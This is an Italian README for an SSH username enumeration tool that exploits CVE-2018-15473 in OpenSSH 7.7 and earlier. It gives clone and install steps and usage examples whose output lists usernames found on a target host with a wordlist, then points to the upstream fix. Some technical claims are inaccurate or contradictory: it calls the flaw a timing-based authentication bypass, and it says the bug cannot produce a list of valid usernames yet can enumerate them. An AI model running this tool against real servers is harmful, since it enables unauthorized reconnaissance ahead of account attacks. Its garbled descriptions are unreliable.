
Strumento di enumerazione di nomi utente SSH che sfrutta la CVE-2018-15473 per identificare utenti validi su server OpenSSH tramite bypass di autenticazione basato su tempistiche.
Il server OpenSSH non ritarda il trattamento di un utente non valido prima di analizzare completamente un pacchetto contenente una richiesta. La vulnerabilità è correlata a auth2-gss.c, auth2-hostbased.c, auth2-pubkey.c.
Sebbene la vulnerabilità non possa essere utilizzata per generare un elenco di nomi utente validi, può comunque essere sfruttata per enumerare e indovinare i nomi utente.
OpenSSH <= 7.7
openssh-7.8p1-1.fc28 openssh-7.6p1-6.fc27
Potrebbe essere necessario installare il pacchetto equivalente a openssl-dev per la propria distribuzione.
# Nota: se si installa su Kali, è possibile saltare l'installazione pip ed eseguire solo i primi tre passaggi perché paramiko è già presente.
git clone https://github.com/1stPeak/CVE-2018-15473.git
cd CVE-2018-15473
chmod u+x ssh-username-enum.py
pip install -r requirements.txt
# Oppure scaricare e installare con il seguente comando
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
Esempio 1: Enumerazione di un singolo utente
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -u root 192.168.1.2
[+] root found!
Esempio 2: Enumerazione di più utenti con 10 thread (thread predefiniti = 4)
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2
[+] man found!
[+] guest found!
[+] nobody found!
[!] SSH negotiation failed for user nobody4.
[+] lpadmin found!
ecc.
Esempio 3: Indirizzo IPv6 con porta SSH specificata
peak@kali:~/CVE-2018-15473$ ./ssh-username-enum.py -t 10 -w /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.2 '::1'
[+] ROOT found!
[+] syslog found!
[+] sslh found!
[!] SSH negotiation failed for user sssd.
[+] rfindd found!
[+] ultra found!
ecc.
Si consiglia di aggiornare a una versione non affetta. Il progetto OpenBSD ha già rilasciato una correzione del codice sorgente al seguente link: https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0
https://github.com/epi052/cve-2018-15473
http://blog.nsfocus.net/openssh-cve-2018-15919/